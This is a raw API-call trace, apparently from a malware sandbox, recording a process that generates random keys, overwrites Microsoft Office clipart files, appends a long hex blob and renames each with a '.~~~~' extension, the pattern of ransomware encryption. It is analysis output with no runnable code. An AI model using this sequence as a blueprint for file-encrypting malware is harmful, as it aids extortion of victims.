	[0091.103] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01628_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01628_.wmf.~~~~")) returned 1
	[0091.104] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d0e88 | out: hHeap=0x300000) returned 1
	[0091.104] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0091.104] GetLastError () returned 0x0
	[0091.104] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x28d76f0) returned 1
	[0091.105] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0091.105] CryptReleaseContext (hProv=0x28d76f0, dwFlags=0x0) returned 1
	[0091.105] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0091.105] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0091.105] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0091.105] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21109488948) returned 1
	[0091.105] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa0146ff0, dwHighDateTime=0x1d60e1e)) 
	[0091.105] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0091.105] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0091.105] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0091.105] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a2218
	[0091.105] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0091.105] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a2218 | out: hHeap=0x300000) returned 1
	[0091.105] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0091.105] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0091.105] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d0e88
	[0091.105] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0091.105] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x383670
	[0091.105] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d0e88 | out: hHeap=0x300000) returned 1
	[0091.105] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0091.105] GetLastError () returned 0x0
	[0091.105] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0091.106] GetLastError () returned 0x0
	[0091.106] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffffdbc, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0091.107] WriteFile (in: hFile=0x128, lpBuffer=0x28b6ff8*, nNumberOfBytesToWrite=0x244, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28b6ff8*, lpNumberOfBytesWritten=0x1f8fec0*=0x244, lpOverlapped=0x0) returned 1
	[0091.107] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28b6ff8 | out: hHeap=0x300000) returned 1
	[0091.107] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.107] WriteFile (in: hFile=0x128, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0091.107] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0091.107] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0091.107] CloseHandle (hObject=0x128) returned 1
	[0091.107] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d0e88
	[0091.107] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01629_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01629_.wmf.~~~~")) returned 1
	[0091.108] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d0e88 | out: hHeap=0x300000) returned 1
	[0091.108] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0091.108] GetLastError () returned 0x0
	[0091.108] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x28d76f0) returned 1
	[0091.109] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0091.109] CryptReleaseContext (hProv=0x28d76f0, dwFlags=0x0) returned 1
	[0091.109] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0091.109] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0091.109] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0091.109] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21109938989) returned 1
	[0091.109] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa0146ff0, dwHighDateTime=0x1d60e1e)) 
	[0091.109] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0091.109] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0091.109] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0091.109] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a2250
	[0091.109] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0091.110] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a2250 | out: hHeap=0x300000) returned 1
	[0091.110] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0091.110] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0091.110] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d0e88
	[0091.110] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0091.110] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x383708
	[0091.110] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d0e88 | out: hHeap=0x300000) returned 1
	[0091.110] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0091.110] GetLastError () returned 0x0
	[0091.110] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0091.110] GetLastError () returned 0x0
	[0091.111] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffffed8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0091.111] WriteFile (in: hFile=0x128, lpBuffer=0x28b6ff8*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28b6ff8*, lpNumberOfBytesWritten=0x1f8fec0*=0x128, lpOverlapped=0x0) returned 1
	[0091.111] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28b6ff8 | out: hHeap=0x300000) returned 1
	[0091.111] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.111] WriteFile (in: hFile=0x128, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0091.112] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0091.112] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0091.112] CloseHandle (hObject=0x128) returned 1
	[0091.112] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d0e88
	[0091.112] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01630_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01630_.wmf.~~~~")) returned 1
	[0091.113] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d0e88 | out: hHeap=0x300000) returned 1
	[0091.113] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0091.113] GetLastError () returned 0x0
	[0091.113] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x28d76f0) returned 1
	[0091.114] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0091.114] CryptReleaseContext (hProv=0x28d76f0, dwFlags=0x0) returned 1
	[0091.114] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0091.114] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0091.114] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0091.114] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21110397202) returned 1
	[0091.114] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa016d150, dwHighDateTime=0x1d60e1e)) 
	[0091.114] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0091.114] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0091.114] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0091.114] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a21e0
	[0091.114] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0091.114] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a21e0 | out: hHeap=0x300000) returned 1
	[0091.114] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0091.114] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0091.114] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d0e88
	[0091.114] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0091.114] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3837a0
	[0091.114] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d0e88 | out: hHeap=0x300000) returned 1
	[0091.114] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0091.115] GetLastError () returned 0x0
	[0091.115] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0091.115] GetLastError () returned 0x0
	[0091.116] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffffdd8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0091.116] WriteFile (in: hFile=0x128, lpBuffer=0x28b6ff8*, nNumberOfBytesToWrite=0x228, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28b6ff8*, lpNumberOfBytesWritten=0x1f8fec0*=0x228, lpOverlapped=0x0) returned 1
	[0091.116] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28b6ff8 | out: hHeap=0x300000) returned 1
	[0091.116] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.116] WriteFile (in: hFile=0x128, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0091.116] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0091.116] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0091.117] CloseHandle (hObject=0x128) returned 1
	[0091.117] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d0e88
	[0091.117] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01631_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01631_.wmf.~~~~")) returned 1
	[0091.117] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d0e88 | out: hHeap=0x300000) returned 1
	[0091.117] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0091.117] GetLastError () returned 0x0
	[0091.118] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x28d76f0) returned 1
	[0091.119] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0091.119] CryptReleaseContext (hProv=0x28d76f0, dwFlags=0x0) returned 1
	[0091.119] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0091.119] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0091.119] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0091.119] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21110926419) returned 1
	[0091.119] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa016d150, dwHighDateTime=0x1d60e1e)) 
	[0091.119] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0091.119] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0091.119] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0091.119] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a21a8
	[0091.119] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0091.120] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a21a8 | out: hHeap=0x300000) returned 1
	[0091.120] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0091.120] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0091.120] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d0e88
	[0091.120] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0091.120] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x383838
	[0091.120] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d0e88 | out: hHeap=0x300000) returned 1
	[0091.120] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0091.120] GetLastError () returned 0x0
	[0091.120] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0091.120] GetLastError () returned 0x0
	[0091.122] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffefcc, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0091.122] WriteFile (in: hFile=0x128, lpBuffer=0x28b6ff8*, nNumberOfBytesToWrite=0x1034, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28b6ff8*, lpNumberOfBytesWritten=0x1f8fec0*=0x1034, lpOverlapped=0x0) returned 1
	[0091.123] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28b6ff8 | out: hHeap=0x300000) returned 1
	[0091.123] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.123] WriteFile (in: hFile=0x128, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0091.123] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0091.123] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0091.123] CloseHandle (hObject=0x128) returned 1
	[0091.123] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d0e88
	[0091.123] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01761_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01761_.wmf.~~~~")) returned 1
	[0091.124] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d0e88 | out: hHeap=0x300000) returned 1
	[0091.124] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0091.124] GetLastError () returned 0x0
	[0091.125] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x28d76f0) returned 1
	[0091.125] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0091.125] CryptReleaseContext (hProv=0x28d76f0, dwFlags=0x0) returned 1
	[0091.126] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0091.126] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0091.126] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0091.126] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21111576686) returned 1
	[0091.126] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa016d150, dwHighDateTime=0x1d60e1e)) 
	[0091.126] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0091.126] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0091.126] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0091.126] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a2170
	[0091.126] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0091.126] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a2170 | out: hHeap=0x300000) returned 1
	[0091.126] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0091.126] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0091.126] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d0e88
	[0091.126] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0091.126] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3838d0
	[0091.126] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d0e88 | out: hHeap=0x300000) returned 1
	[0091.126] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0091.126] GetLastError () returned 0x0
	[0091.126] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0091.126] GetLastError () returned 0x0
	[0091.128] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffff704, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0091.128] WriteFile (in: hFile=0x128, lpBuffer=0x28b6ff8*, nNumberOfBytesToWrite=0x8fc, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28b6ff8*, lpNumberOfBytesWritten=0x1f8fec0*=0x8fc, lpOverlapped=0x0) returned 1
	[0091.128] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28b6ff8 | out: hHeap=0x300000) returned 1
	[0091.128] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.128] WriteFile (in: hFile=0x128, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0091.129] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0091.129] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
